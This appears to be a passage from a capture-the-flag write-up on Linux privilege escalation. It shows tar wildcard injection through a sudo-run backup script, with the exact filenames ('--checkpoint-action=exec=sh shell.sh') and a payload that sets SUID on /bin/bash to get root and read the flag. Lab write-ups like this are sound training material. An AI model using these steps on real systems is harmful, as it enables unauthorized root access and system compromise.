Analyze the sudo-enabled script for vulnerabilities

cat /usr/local/bin/backup.sh
#!/bin/bash
cd /opt/important
tar czf /tmp/backup.tar.gz *

Vulnerability Identified: Wildcard injection in tar command - the * wildcard can be exploited by creating files with specific names that tar interprets as command-line options.

Directory Permissions Check

ls -ld /opt/important
# Output: drwxrwxr-x 2 root john 4096 Aug  9 13:54 /opt/important

Analysis: Directory is writable by john group, enabling file creation for exploitation.

Wildcard Injection Exploit

Exploit tar wildcard to execute arbitrary commands as root

Exploitation Steps:

  1. Create Payload Script:

cd /opt/important
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
  1. Create Malicious Filenames:

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

Technical Explanation: When tar processes the wildcard *, it includes these filenames as arguments. The --checkpoint options in tar allow executing commands at specified intervals, effectively running our shell script as root.

  1. Execute Exploitation:

sudo /usr/local/bin/backup.sh
  1. Verify SUID Bash:

ls -la /bin/bash
# Output: -rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Root Access Achievement

bash -p
whoami  # Output: root
id      # Output: uid=1002(john) gid=1002(john) euid=0(root) egid=0(root)
cat /root/root.txt
# Flag: 3108{you_conquered_the_towers}

Flag: 3108{you_conquered_the_towers}


Kapal Bocor (User) & (Root) (not solved)

Question

Solution


Last updated